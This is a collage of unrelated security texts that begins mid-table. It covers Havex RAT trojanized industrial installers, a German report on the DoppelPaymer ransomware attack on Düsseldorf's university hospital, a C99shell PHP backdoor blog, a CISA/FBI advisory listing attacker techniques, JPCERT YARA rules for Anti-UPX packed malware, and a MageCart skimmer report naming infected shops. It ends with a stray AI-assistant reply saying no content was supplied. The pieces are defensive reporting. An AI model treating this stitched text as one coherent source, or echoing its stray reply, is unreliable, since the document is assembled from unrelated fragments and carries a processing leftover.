Talk2M | egrabitsetup.exe | Havex RAT – Version 38 | | | | ecatchersetup.exe | Havex RAT – Version 38 | | MB Connect Line | mbCONNECT24 | mbcheck.exe | Havex RAT – Version 44 | | | mbNET | setup_1.0.1.exe (mbconftoolzip) | Havex RAT – Version 44 | | Mesa Imaging | SR4000/4500 | SwissrangerSetup1.0.14.706.exe | Sysmain RAT | ## Conclusion The preceding information, coupled with the author’s knowledge of the pharmaceutical industry, led to the conclusion that it was the industry targeted by Dragonfly. The potential damage could include the theft of proprietary recipes and production batch sequence steps, as well as network and device information that indicate manufacturing plant volumes and capabilities. Eric Byres, CTO of Tofino Security, a Belden Brand, and a world authority on industrial cyber security made these remarks about Dragonfly: “The interesting thing about Dragonfly is that it targeted ICS information not for the purpose of causing downtime, but for the purpose of intellectual property theft, likely for the purpose of counterfeiting. CIOs and other executives need to know about this attack and be assured that there are techniques and products available to defend against it.”
# Uniklinik Düsseldorf: Ransomware "DoppelPaymer" soll hinter dem Angriff stecken Die Verantwortlichen für den Angriff auf die Uniklinik sitzen laut Justizministerium möglicherweise in Russland. Die Ermittlungen und Aufräumarbeiten dauern an. Nach dem Angriff auf die Düsseldorfer Uni-Klinik führt eine mögliche Spur der Täter laut Justizministerium nach Russland. So hätten die Angreifer eine Schadsoftware namens "DoppelPaymer" in das System geschleust. Dieser Verschlüsselungstrojaner sei bereits in zahlreichen anderen Fällen weltweit gegen Unternehmen und Institutionen von einer kriminellen Hacker-Gruppe eingesetzt worden, die nach Einschätzung privater Sicherheitsunternehmen in der Russischen Föderation beheimatet sein soll. Das teilte das Ministerium von Nordrhein-Westfalen am Dienstag laut dpa in einem Bericht an den Rechtsausschuss mit. Die Cybercrime-Bande hinter DoppelPaymer hat sich ähnlich wie die mit der Emotet-Gang zusammenarbeitende Trickbot-Bande auf das Erpressen von Firmen und Organisationen spezialisiert. Sie setzen ebenfalls sehr ausgefeilte Techniken ein, um sich in den Netzen auszubreiten und dabei unbemerkt zu bleiben, bis sie tatsächlich Daten verschlüsseln. Ihre Lösegeldforderungen richten sich nach dem "Wert" des jeweiligen Angriffsziels und können Millionenhöhe erreichen. Mitte März dieses Jahres hatte die DoppelPaymer-Gang, wie auch einige andere Ransomware-Gruppen, eine "Corona-Pause" für Krankenhäuser versprochen – ein Versprechen, das sie dann doch nicht einhielt. ## Einbruch via "Shitrix" bestätigt Die Ermittler wissen inzwischen, dass die kriminellen Hacker zunächst einen sogenannten "Loader" zum Nachladen des eigentlichen Schadprogramms ins System der Uni-Klinik einschmuggelten. Offen blieb in dem Bericht, wann das war. Das Bundesamt für Sicherheit in der Informationstechnologie (BSI) hatte vergangene Woche mitgeteilt, dass die entsprechende Sicherheitslücke in Software von Citrix bereits seit dem Jahreswechsel bekannt war. Dabei handelte es sich um eine Lücke in der Citrix-VPN-Software, die unter dem Namen "Shitrix" bekannt wurde (CVE-2019-19781). Die Uni-Klinik hatte nach eigenen Angaben damals sofort reagiert. Zwei Spezialfirmen hätten das System noch einmal überprüft – ohne Hinweis auf eine Gefährdung durch die nun geschlossene Sicherheitslücke. Offenbar schlummerte der "Loader" da aber bereits auf einem Server der Uni-Klinik. Das wahrscheinlichste Szenario ist somit derzeit, dass die Cyberkriminellen die Shitrix-Lücke sehr bald nach ihrem Bekanntwerden und noch vor der Bereitstellung des Patches durch Citrix ausgenutzt haben. Sie sind dann darüber in das Netz der Uni-Klinik eingedrungen und haben dort heimlich eine Backdoor platziert. Das kann durchaus auch auf einem anderen System als dem eigentlichen VPN-Server geschehen sein, sodass die Hintertür beim Installieren der Citrix-Updates nicht gefunden wurde. Erst jetzt, viele Monate später, haben sie diese Backdoor benutzt, um wieder Zugriff auf das Netz der Uni-Klinik zu erlangen. ## Täter halfen nach "Irrtum" beim Entschlüsseln Der eigentliche Angriff durch die nachgeladene Verschlüsselungssoftware passierte erst in der Nacht vom 10. auf den 11. September. 30 Server der Uni-Klinik wurden durch das Schadprogramm verschlüsselt – wobei die Cyberkriminellen eigentlich wohl die Düsseldorfer Universität attackieren wollten. Zu der hatten sie ein digitales Erpresserschreiben adressiert. Als die Polizei den Tätern ihren mutmaßlichen Fehler mitteilte, schickten diese einen digitalen Schlüssel, um das Krankenhaus wieder zum Laufen zu bekommen. Die Ermittler vermuten laut dem Bericht an den Landtag, dass die Uni-Klinik Opfer einer "weltweiten kommerziellen Malware-Kampagne" geworden sein könnte. Weitere Details nannte ein Sprecher der zuständigen Staatsanwaltschaft bei der Zentrale- und Ansprechstelle Cybercrime (ZAC) am Dienstag nicht. Laut einer Statistik der US-amerikanischen Temple University liegt die Frequenz der Attacken mit Erpresser-Software dieses Jahr auf dem Höchststand seit 2013. Dabei gezählt wurden allerdings nur die öffentlich bekannten Angriffe. Ermittler gehen von einer hohen Dunkelziffer aus, bei der zum Beispiel Unternehmen auf die Forderungen der Erpresser eingehen. ## Ermittlungen und Bereinigung laufen weiter Die Ermittlungen um den Verdacht der fahrlässigen Tötung einer Patientin liefen unterdessen weiter, erklärte der ZAC-Sprecher. Die Frau war statt in die nahe Uni-Klinik in ein weiter entferntes Krankenhaus nach Wuppertal gebracht worden und gestorben. Für den Vorwurf der fahrlässigen Tötung könnte unter anderem entscheidend sein, ob die Frau eine Überlebenschance gehabt hätte, wenn sie in die Uni-Klinik gekommen wäre. Die IT des Krankenhauses ist unterdessen weiter nicht voll einsatzbereit. Die größte Klinik der Landeshauptstadt rechnet nach Angaben eines Sprechers damit, dass die Zentrale Notaufnahme diese Woche eventuell ihren Dienst wieder aufnehmen kann. Noch seien aber nicht alle entsprechenden Systeme wieder hochgefahren.
# C99Shell Not Dead In today's blog post, we'll talk about C99shell - a powerful PHP backdoor. ## Introduction I recently got contacted on Twitter in regards to a hacked webpage: @bartblaze Hey, maybe interesting for you: http://t.co/6rZUD1O1qZ Found on hacked joomla page Got a lot of those files. All have same scheme — Florian Gümbel (@fgdesign) February 25, 2015 After I received the files two things became apparent: - the webserver (and thus the website) was infected with C99shell; - the webserver was infected with other PHP backdoors. ## Analysis PHP/c99shell or simply c99shell should be well known by now - it is a PHP backdoor that provides a lot of functionality, for example: - run shell commands; - download/upload files from and to the server (FTP functionality); - full access to all files on the hard disk; - self-delete functionality. In short, it can pretty much do everything you want, which results in end-users getting malware onto their systems and/or data getting stolen and/or personal information compromised. There's an excellent blog post over at Malwaremustdie in regards to C99shell, you can read it here: How EVIL the PHP/C99Shell can be? From SQL Dumper, Hacktools, to Trojan Distributor ### Future? Now, here's one of the files gathered from the webserver: It's heavily obfuscated as one would expect; after some deobfuscating/decoding we get: It also has a nice web interface: Seems like we are dealing with a slightly updated version of C99shell, version 2.1: And last but not least, some functionality: You can find the decoded C99shell backdoor on Pastebin: Decoded PHP/c99shell Detections aren't too great for this PHP backdoor, but it surely has improved since Malwaremustdie started blogging about it, some VirusTotal results: 0, 1, 2. As I mentioned before, other PHP backdoors were present, for example: After some manual decoding, we turn up with the following interesting line: `getenv(HTTP_X_UP_CALLING_LINE_ID);` Another example: `getenv(HTTP_X_NOKIA_ALIAS);` The "x-headers" HTTP_X_UP_CALLING_LINE_ID and HTTP_X_NOKIA_ALIAS are actually part of WML, the Wireless Markup Language. Thus, this PHP backdoor seems specifically designed to target mobile users. I've put a copy of the script in screenshot above on Pastebin as well: Unknown PHP backdoor Darryl from Kahu Security has written an excellent post on how to manually decode this kind of PHP obfuscation: Deobfuscating a Wicked-Looking Script If you have any information on what kind of PHP backdoor this might be (if not generic), feel free to let me know. ## Disinfection What if your website's already been hacked and serving up malware to the unknowing visitor? Best practice is to simply take your website offline and restore from an earlier backup. (don't forget to verify if your backup isn't infected as well!) If that's not a possibility for whatever reason, you'll first need to find where any malicious code was injected (or created) on your website, or how it was infected in the first place. An easy way would be to simply check all recently changed files on your web server. However, those dates can be altered. So what's a better alternative? You can comb over the files one by one, or you can use an online tool to check your website. A short overview: - Use Sucuri's SiteCheck to quickly spot if they detect any malware, see if you're blacklisted and, the most useful part in this case is to check whether or not you have any outdated plugin or CMS running - as well as a list of links. - Use Redleg's file viewer to easily see if any malicious iframes have been injected - you can even choose which Referrer and User Agent should be used (some malware requires you to visit the site via a specific Referrer or User Agent). - Useful additional tool to Redleg's file viewer. Allows you to only fetch headers of a website, or fetch both header and content. - Excellent tool in case any malicious Javascript (iframe) is injected into any of your web server files. Less intuitive, but provides a great overview. - Excellent tool and more graphical as opposed to JSunpack - especially useful is to see if any IDS was triggered as well as JavaScript and HTTP Transactions. - As usual, VirusTotal is a great resource as well - it can pinpoint which Antivirus (if any) is triggering an alert related to your website. - Online WordPress Security Scanner to test vulnerabilities of a WordPress installation. Checks include application security, WordPress plugins, hosting environment and web server. - NBS System's PHP Malware Finder does its very best to detect obfuscated/dodgy code as well as files using PHP functions often used in malwares/webshells. - Nikto web server scanner. If nothing is found using any of these tools, but you are still receiving reports from either blacklists (e.g., Google) or users, you'll have to manually go over all your files to see if any code was attached. If you're hosting a web server yourself, you obviously know where you've installed it, so be sure to check in there. If you're not sure where it's installed, may want to look in any of these default locations, if they exist: **Linux:** - /var/www/ - /var/www/html - /var/lib/tomcat7/webapps **Windows:** - C:\inetpub - C:\inetpub\wwwroot Another method (and obviously not foolproof) is to copy over all your files to a Windows system and scan them with an antivirus. An example of such antivirus, which works on both Linux and Windows, is ClamAV. I think you're starting to realize why backups are important. If you had any outdated plugins running, chances are very high the backdoor or script was created/added in that specific directory. For example for WordPress this is typically: `/www/wp-content/plugins/` You can also install a plugin for your CMS which can scan your web server for any infected files. (Which is ironic, but might still do the trick should you not be able to find anything manually.) Last but not least: check your access logs! See any unauthorized (FTP) logins for example? Take a look in any of these locations: - /var/log/httpd - /var/log/nginx - /var/log/apache - /var/log/apache2 You may also want to take a peek in: - /var/log Contact your hosting provider - they might be able to provide you with assistance. If you're still stuck, feel free to shoot me an email or contact me on Twitter. Otherwise, contact one of the companies which can help you assist in clean-up. Don't forget: after clean-up, reset all your passwords (and don't use the same for everything) and follow the prevention tips above, or you'll simply get infected again. Additionally, always install relevant security patches or updates for your operating system if you are hosting the web server yourself. ## Prevention This shouldn't be repeated normally, but I will again just for good measure: - Create backups regularly! Yes, even for your website. - Keep your CMS up-to-date; whether you use WordPress, Joomla, Drupal, ... - Keep your installed plugins up-to-date. Remove any unnecessary plugins. - Use strong passwords for your FTP account(s), as well as for your CMS/admin panel login. - Use appropriate file permissions - meaning don't use 777 everywhere. (seriously, don't) - Depending on how you manage your website - keep your operating system up-to-date and, if applicable, install and update antivirus software. - Consider using a tool like Splunk to monitor your access logs. - Consider installing a security plugin. For WordPress, you have a plugin called All In One WordPress Security which has a ton of options to better secure your website. Don't forget to keep this one up-to-date as well. More (extended) tips can be found over at StopBadware: Preventing badware: Basics There are also guides available on how to harden your specific CMS installation, for example: - WordPress: Hardening WordPress - Joomla: Security Checklist/Joomla! Setup - Drupal: Writing secure code ## Conclusion C99shell is obviously not dead and neither are other PHP backdoors - or any other malware for that matter. Securing your website is not only beneficial for you, but also for your customers and other visitors. This blog post should have provided you with the essentials on securing your website and cleaning it up should it ever be infected. Repeating: best practice is to take your website offline and restore from a backup.
# Advanced Persistent Threat Actors Targeting U.S. Think Tanks ## Summary This Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. The Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have observed persistent cyber intrusions by advanced persistent threat (APT) actors targeting U.S. think tanks. This malicious activity is often directed at individuals and organizations that focus on international affairs or national security policy. The following guidance may assist U.S. think tanks in developing network defense procedures to prevent or rapidly detect these attacks. APT actors have relied on multiple avenues for initial access, including spearphishing emails and third-party message services directed at both corporate and personal accounts, as well as exploiting vulnerable web-facing devices and remote connection capabilities. Increased telework during the COVID-19 pandemic has expanded workforce reliance on remote connectivity, affording malicious actors more opportunities to exploit those connections. Attackers may leverage virtual private networks (VPNs) and other remote work tools to gain initial access or persistence on a victim’s network. When successful, these approaches allow threat actors to steal sensitive information, acquire user credentials, and gain persistent access to victim networks. Given the importance that think tanks can have in shaping U.S. policy, CISA and FBI urge individuals and organizations in the international affairs and national security sectors to adopt a heightened state of awareness and implement the critical steps listed in the Mitigations section of this Advisory. ## Technical Details ### ATT&CK Profile CISA created the following MITRE ATT&CK profile to provide a non-exhaustive list of tactics, techniques, and procedures (TTPs) employed by APT actors to break through think tanks’ defenses, conduct reconnaissance, exfiltrate proprietary or confidential information, and execute effects on targets. These TTPs were included based upon closed reporting on APT actors that are known to target think tanks or based upon CISA incident response data. #### Initial Access [TA0001] - Valid Accounts [T1078] - Valid Accounts: Cloud Accounts [T1078.004] - External Remote Services [T1133] - Drive-by Compromise [T1189] - Exploit Public-Facing Application [T1190] - Supply Chain Compromise: Compromise Software Supply Chain [T1195.002] - Trusted Relationship [T1199] - Phishing: Spearphishing Attachment [T1566.001] - Phishing: Spearphishing Link [T1566.002] - Phishing: Spearphishing via Service [T1566.003] #### Execution [TA0002] - Windows Management Instrumentation [T1047] - Scheduled Task/Job: Scheduled Task [T1053.005] - Command and Scripting Interpreter: PowerShell [T1059.001] - Command and Scripting Interpreter: Windows Command Shell [T1059.003] - Command and Scripting Interpreter: Unix Shell [T1059.004] - Command and Scripting Interpreter: Visual Basic [T1059.005] - Command and Scripting Interpreter: Python [T1059.006] - Native API [T1106] - Exploitation for Client Execution [T1203] - User Execution: Malicious Link [T1204.001] - User Execution: Malicious File [T1204.002] - Inter-Process Communication: Dynamic Data Exchange [T1559.002] - System Services: Service Execution [T1569.002] #### Persistence [TA0003] - Boot or Logon Initialization Scripts: Logon Script (Windows) [T1037.001] - Scheduled Task/Job: Scheduled Task [T1053.005] - Account Manipulation: Exchange Email Delegate Permissions [T1098.002] - Create Account: Local Account [T1136.001] - Office Application Startup: Office Test [T1137.002] - Office Application Startup: Outlook Home Page [T1137.004] - Browser Extensions [T1176] - BITS Jobs [T1197] - Server Software Component: Web Shell [T1505.003] - Pre-OS Boot: Bootkit [T1542.003] - Create or Modify System Process: Windows Service [T1543.003] - Event Triggered Execution: Change Default File Association [T1546.001] - Event Triggered Execution: Windows Management Instrumentation Event Subscription [T1546.003] - Event Triggered Execution: Accessibility Features [T1546.008] - Event Triggered Execution: Component Object Model Hijacking [T1546.015] - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1547.001] - Boot or Logon Autostart Execution: Shortcut Modification [T1547.009] #### Privilege Escalation [TA0004] - Process Injection [T1055] - Process Injection: Process Hollowing [T1055.012] - Exploitation for Privilege Escalation [T1068] - Access Token Manipulation: Token Impersonation/Theft [T1134.001] - Event Triggered Execution: Accessibility Features [T1546.008] - Boot or Logon Autostart Execution: Shortcut Modification [T1547.009] - Abuse Elevation Control Mechanism: Bypass User Access Control [T1548.002] - Hijack Execution Flow: DLL Side-Loading [T1574.002] #### Defense Evasion [TA0005] - Rootkit [T1014] - Obfuscated Files or Information: Binary Padding [T1027.001] - Obfuscated Files or Information: Software Packing [T1027.002] - Obfuscated Files or Information: Steganography [T1027.003] - Obfuscated Files or Information: Indicator Removal from Tools [T1027.005] - Masquerading: Match Legitimate Name or Location [T1036.005] - Indicator Removal on Host: Clear Windows Event Logs [T1070.001] - Indicator Removal on Host: Clear Command History [T1070.003] - Indicator Removal on Host: File Deletion [T1070.004] - Indicator Removal on Host: Timestomp [T1070.006] - Modify Registry [T1112] - Deobfuscate/Decode Files or Information [T1140] - Exploitation for Defense Evasion [T1211] - Signed Binary Proxy Execution: Compiled HTML File [T1218.001] - Signed Binary Proxy Execution: Mshta [T1218.005] - Signed Binary Proxy Execution: Rundll32 [T1218.011] - Template Injection [T1221] - Execution Guardrails: Environmental Keying [T1480.001] - Abuse Elevation Control Mechanism: Bypass User Access Control [T1548.002] - Use Alternate Authentication Material: Application Access Token [T1550.001] - Subvert Trust Controls: Code Signing [T1553.002] - Impair Defenses: Disable or Modify Tools [T1562.001] - Impair Defenses: Disable or Modify System Firewall [T1562.004] - Hide Artifacts: Hidden Files and Directories [T1564.001] - Hide Artifacts: Hidden Window [T1564.003] #### Credential Access [TA0006] - OS Credential Dumping: LSASS Memory [T1003.001] - OS Credential Dumping: Security Account Manager [T1003.002] - OS Credential Dumping: NTDS [T1003.003] - OS Credential Dumping: LSA Secrets [T1003.004] - OS Credential Dumping: Cached Domain Credentials [T1003.005] - Network Sniffing [T1040] - Input Capture: Keylogging [T1056.001] - Brute Force: Password Cracking [T1110.002] - Brute Force: Password Spraying [T1110.003] - Forced Authentication [T1187] - Steal Application Access Token [T1528] - Unsecured Credentials: Credentials in Files [T1552.001] - Unsecured Credentials: Group Policy Preferences [T1552.006] - Credentials from Password Stores: Credentials from Web Browsers [T1555.003] #### Discovery [TA0007] - System Service Discovery [T1007] - Query Registry [T1012] - System Network Configuration Discovery [T1016] - Remote System Discovery [T1018] - System Owner/User Discovery [T1033] - Network Sniffing [T1040] - Network Service Scanning [T1046] - System Network Connections Discovery [T1049] - Process Discovery [T1057] - Permission Groups Discovery: Local Groups [T1069.001] - Permission Groups Discovery: Domain Groups [T1069.002] - System Information Discovery [T1082] - File and Directory Discovery [T1083] - Account Discovery: Local Account [T1087.001] - Account Discovery: Domain Account [T1087.002] - Peripheral Device Discovery [T1120] - Network Share Discovery [T1135] - Password Policy Discovery [T1201] - Software Discovery: Security Software Discovery [T1518.001] #### Lateral Movement [TA0008] - Remote Services: Remote Desktop Protocol [T1021.001] - Remote Services: SSH [T1021.004] - Taint Shared Content [T1080] - Replication Through Removable Media [T1091] - Exploitation of Remote Services [T1210] - Use Alternate Authentication Material: Pass the Hash [T1550.002] - Use Alternate Authentication Material: Pass the Ticket [T1550.003] #### Collection [TA0009] - Data from Local System [T1005] - Data from Removable Media [T1025] - Data Staged: Local Data Staging [T1074.001] - Screen Capture [T1113] - Email Collection: Local Email Collection [T1114.001] - Email Collection: Remote Email Collection [T1114.002] - Automated Collection [T1119] - Audio Capture [T1123] - Data from Information Repositories: SharePoint [T1213.002] - Archive Collected Data: Archive via Utility [T1560.001] - Archive Collected Data: Archive via Custom Method [T1560.003] #### Command and Control [TA0011] - Data Obfuscation: Junk Data [T1001.001] - Fallback Channels [T1008] - Application Layer Protocol: Web Protocols [T1071.001] - Application Layer Protocol: File Transfer Protocols [T1071.002] - Application Layer Protocol: Mail Protocols [T1071.003] - Application Layer Protocol: DNS [T1071.004] - Proxy: External Proxy [T1090.002] - Proxy: Multi-hop Proxy [T1090.003] - Proxy: Domain Fronting [T1090.004] - Communication Through Removable Media [T1092] - Non-Application Layer Protocol [T1095] - Web Service: Dead Drop Resolver [T1102.001] - Web Service: Bidirectional Communication [T1102.002] - Multi-Stage Channels [T1104] - Ingress Tool Transfer [T1105] - Data Encoding: Standard Encoding [T1132.001] - Remote Access Software [T1219] - Dynamic Resolution: Domain Generation Algorithms [T1568.002] - Non-Standard Port [T1571] - Protocol Tunneling [T1572] - Encrypted Channel: Symmetric Cryptography [T1573.001] - Encrypted Channel: Asymmetric Cryptography [T1573.002] #### Exfiltration [TA0010] - Exfiltration Over C2 Channel [T1041] - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol [T1048.003] #### Impact [TA0040] - Data Encrypted for Impact [T1486] - Resource Hijacking [T1496] - System Shutdown/Reboot [T1529] - Disk Wipe: Disk Structure Wipe [T1561.002] ## Mitigations CISA and FBI recommend think tank organizations apply the following critical practices to strengthen their security posture. ### Leaders - Implement a training program to familiarize users with identifying social engineering techniques and phishing emails. ### Users/Staff - Log off remote connections when not in use. - Be vigilant against tailored spearphishing attacks targeting corporate and personal accounts. - Use different passwords for corporate and personal accounts. - Install antivirus software on personal devices to automatically scan and quarantine suspicious files. - Employ strong multi-factor authentication for personal accounts, if available. - Exercise caution when opening email attachments and using removable media. ### IT Staff/Cybersecurity Personnel - Segment and segregate networks and functions. - Change the default username and password of applications and appliances. - Employ strong multi-factor authentication for corporate accounts. - Deploy antivirus software on organizational devices. - Apply encryption to data at rest and data in transit. - Use email security appliances to scan and remove malicious email attachments or links. - Monitor key internal security tools and identify anomalous behavior. - Prevent exploitation of known software vulnerabilities by routinely applying software patches and upgrades. - Implement an antivirus program and a formalized patch management process. - Block certain websites and email attachments commonly associated with malware. - Implement Group Policy Object and firewall rules. - Routinely audit domain and local accounts as well as their permission levels. - Follow best practices for design and administration of the network to limit privileged account use. - Implement a Domain-Based Message Authentication, Reporting & Conformance (DMARC) validation system. - Disable or block unnecessary remote services. - Limit access to remote services through centrally managed concentrators. - Deny direct remote access to internal systems or resources. - Limit unnecessary lateral communications. - Disable file and printer sharing services. - Ensure applications do not store sensitive data or credentials insecurely. - Enable a firewall on agency workstations. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious email attachments. - Monitor users' web browsing habits and restrict access to suspicious sites. - Contact law enforcement or CISA regarding any unauthorized network access identified. ## Contact Information Recipients of this report are encouraged to contribute any additional information related to this threat. To report suspicious or criminal activity, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [email protected]. When available, please include information regarding the incident: date, time, and location; type of activity; number of people affected; type of equipment used; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance, contact CISA at [email protected].
# Anti-UPX Unpacking Technique **Shusei Tomonaga** March 15, 2022 Malware targeting Windows OS (PE format) has a variety of obfuscation and packing techniques that complicate the code analysis processes. On the other hand, there are only a few types of packing techniques for Linux-targeting malware (ELF format), and it is mainly UPX-based. This blog article explains the details of the Anti-UPX Unpacking technique, which is often applied to Linux-targeting malware. ## Malware with Anti-UPX Unpacking Technique The most well-known malware using the Anti-UPX Unpacking technique is Mirai and its variants, which target IoT devices. The normal UPX packing uses “UPX!” as a magic number, while Mirai assigns a different value to each sample. UPX-packed binary contains the following information in the header. Normally, only “l_magic” is altered, but “p_filesize” and “p_blocksize” are also zero-padded in some samples. ```c struct l_info { // 12-byte trailer in header for loader (offset 116) uint32_t l_checksum; uint32_t l_magic; // magic number = "UPX!" uint16_t l_lsize; uint8_t l_version; uint8_t l_format; }; struct p_info { // 12-byte packed program header follows stub loader uint32_t p_progid; uint32_t p_filesize; uint32_t p_blocksize; }; ``` Besides Mirai, there are many other types of malware using this technique, including BoSSaBot (seen around 2014), as well as some coin miners and SBIDIOT malware, more recently. This is also applied to some types of malware used by the Lazarus group. The magic number is replaced with “MEMS”. ## Unpacking Anti-UPX Unpacking Binary Binary based on the Anti-UPX Unpacking technique cannot be unpacked using the normal upx command. However, it is actually easy to unpack it. In most cases, the only change made to such binary is its magic number “UPX!”. You can unpack it with the upx command by changing this value back to “UPX!”. We have created a tool that enables unpacking binary with Anti-UPX Unpacking techniques. This tool is intended for this purpose only, and it may not work otherwise. ## Detect Anti-UPX Unpacking Technique Binary packed with this technique can be identified manually, just by looking at the code. In order to avoid oversight, we recommend Yara-based automatic detection. This rule does not detect binary packed with normal UPX. ```yara rule upx_antiunpack_elf32 { meta: description = "Anti-UPX Unpacking technique to magic renamed for ELF32" author = "JPCERT/CC Incident Response Group" condition: uint32(0) == 0x464C457F and uint8(4) == 1 and ( ( for any magic in (uint32(filesize - 0x24)) : (magic == uint32(uint16(0x2C) * uint16(0x2A) + uint16(0x28) + 4)) and not for any magic in (0x21585055, 0) : (magic == uint32(uint16(0x2C) * uint16(0x2A) + uint16(0x28) + 4)) ) or ( for any magic in (uint32(filesize - 0x24)) : (magic == uint32(uint16be(0x2C) * uint16be(0x2A) + uint16be(0x28) + 4)) and not for any magic in (0x21585055, 0) : (magic == uint32(uint16be(0x2C) * uint16be(0x2A) + uint16be(0x28) + 4)) ) ) } rule upx_antiunpack_elf64 { meta: description = "Anti-UPX Unpacking technique to magic renamed for ELF64" author = "JPCERT/CC Incident Response Group" condition: uint32(0) == 0x464C457F and uint8(4) == 2 and ( ( for any magic in (uint32(filesize - 0x24)) : (magic == uint32(uint16(0x36) * uint16(0x38) + uint16(0x34) + 4)) and not for any magic in (0x21585055, 0) : (magic == uint32(uint16(0x36) * uint16(0x38) + uint16(0x34) + 4)) ) or ( for any magic in (uint32(filesize - 0x24)) : (magic == uint32(uint16be(0x36) * uint16be(0x38) + uint16be(0x34) + 4)) and not for any magic in (0x21585055, 0) : (magic == uint32(uint16be(0x36) * uint16be(0x38) + uint16be(0x34) + 4)) ) ) } ``` ## In Closing Many attack groups use malware based on the Anti-UPX Unpacking technique. It is easy to unpack such malware, but you may waste your time in the unpacking process unless you notice this feature beforehand. When you analyze packed ELF binary, we recommend checking first whether it uses the Anti-UPX Unpacking technique.
# Closing in on MageCart 12 This is the fourth blog with details on the activities of MageCart 12. In this article, yet another part of their ongoing campaign is uncovered. The amount of infected sites for this campaign is higher than in the previous cases. Before diving into the infected sites and the rough duration of the infections, information regarding the skimmer itself will be given. ## Modus operandi The modus operandi for this campaign is slightly different when comparing it to the other research that has been published so far. The skimmer, hosted on jquerycdn.su, changed four times during the campaign. The earliest recorded date of a hacked site linking to the skimmer domain is on the 30th of September 2019, whereas the latest new infection date is the 19th of February 2020. In the four versions of the skimmer that were used in this campaign, the used obfuscation method is the same as in the other reported campaigns. The first stage loads the actual skimmer script, which is polluted with garbage code. The skimmer itself is different compared to the first versions. The skimmer grabs all fields from the page, rather than all forms. Although the approach and script are different, the general concept remains the same: obtaining credit card credentials. The exfiltration domains are linked to other skimming campaigns from MageCart 12, like the one Marco Ramilli wrote about, as well as Jacob's blog. ## Infected web shops All but three affected web shops have been contacted via e-mail or their web form on the 21st of February 2020. For each of the three uninformed web shops, there is a note in the list with the reason why. Similar to previous cases, I did not receive any response back at the time of writing (which is the 25th of February 2020). The given dates are based upon the data set I created. This set is, by definition, not 100% accurate. As such, the actual dates might slightly differ. Additionally, it is possible that a website was not infected for the complete time between the begin and the end date, but this information is not present in my data set. Note that the skimmer domain (jquerycdn.su) has been down for a few days at least. This means that several sites that are still infected are currently not actively sharing credit cards with the criminal actors, but this is subject to change at any given moment. The list below is ordered from the past until the present, meaning the oldest infections are listed first. The end date is not taken into account at the sorting. - BioPets was infected from the 30th of September 2019 and the infection is ongoing until now. The location where the skimmer is hosted right after that is different compared to the initial skimmer. - Wellspring Wholesale was infected from the 30th of September 2019 until the 9th of February 2020. - Wellspring Customer was infected from the 30th of September 2019 until the 9th of February 2020. - D2D Organics was infected from the 30th of September 2019 until the first of November 2019. At some point in time after that, the site went down. As such, there was no method to contact the owners of the website. - Loud Shirts USA was infected from the first of October 2019 until somewhere prior to the 9th of February 2020. - Nilima Home was infected from the first of October 2019 until the 9th of February 2020. - Silk Naturals was infected from the first of October 2019 until the 16th of February 2020. - JD’s Sound & Lighting was infected from the second of October 2019 until the 9th of February 2020. - Nilima Rugs was infected from the second of October 2019 until the 10th of February 2020. - Martin Services was infected from the second of October 2019 until an unknown point in the future. - The Cheshire Horse was infected from the 6th of October 2019 until the 11th of December 2019. - Kl&in More was infected on the 7th of October 2019. No more information is available. - Schlaf Team was infected on the 17th of October 2019. No more information is available. - The Top Collection was infected from the 19th of October 2019 until at least the 25th of February 2020. - Selaria Dias was infected from the 5th of November 2019 until the 21st of February 2020. - Tile was infected from the 13th of November 2019 until the 28th of January 2020. - Liquorish Online was infected from the 13th of November 2019 until the 24th of November. - Starting Line Products was infected on the 19th of November 2019. No more information is available. - Sport Everest was infected from the 20th of November 2019 until at least the 25th of February 2020. - ABC School Supplies was infected on the 26th of November 2019 until the 10th of February 2020. - Motor Book World was infected on the 26th of November 2019 until the 22nd of February 2020. - Contadores Digital was infected on the second of December 2019. No more information is available. - Giocattoli Negozio was infected on the 12th of December 2019 until at least the 25th of February 2020. - Academic Bag was infected on the 6th of January 2020. No more information is available. - SoleStar was infected from the 11th of January 2020 until at least the 25th of February 2020. - Surf Bussen Travel was infected from the 17th of January 2020 until the 10th of January 2020. - Surf Bussen Nu was infected on the 18th of January 2020. No more information is available. - Haight Ashbury Music Center was infected on the 24th of January 2020 until the 18th of February 2020. Alas, the form on the website did not allow me to submit a message. Aside from that, there were no other contact methods available. As such, I was not able to inform them. - MyCluboots was infected from the 25th of January 2020 until at least the 25th of February 2020. - Sol’s Italia was infected on the 30th of January 2020. No more information is available. - Parkwood Middle School Bears was infected from the 31st of January 2020 until at least the 25th of February 2020. - Voltacon was infected from the 12th of February 2020 until the 25th of February 2020. - Pitcher’s Sports was infected on the 13th of February 2020 until at least the 25th of February 2020. Alas, the only possible contact method was via a phone call. Since this was not an option for me, I could not contact them. - Powerhouse Marina was infected on the 13th of February 2020 until the 25th of February 2020. - Sukhi Rugs was infected on the 13th of February 2020. No more information is available. - ZooRoot was infected from the 14th of February 2020 until at least the 25th of February 2020. - Sukhi was infected on the 17th of February 2020. No more information is available. - Integral Yoga Distribution was infected on the 18th of February 2020 until at least the 25th of February 2020. - Kitchen And Couch was infected on the 19th of February 2020 until the 25th of February 2020. ## Conclusion If you have shopped at one of the mentioned sites around the infected period, it is suggested to contact your bank and request a new credit card. Also note that all information that was entered on the site’s payment form was stolen by the credit card skimmer and should be considered compromised.
It seems there is no content provided for me to clean up and format. Please provide the text you would like me to process, and I'll be happy to assist you!
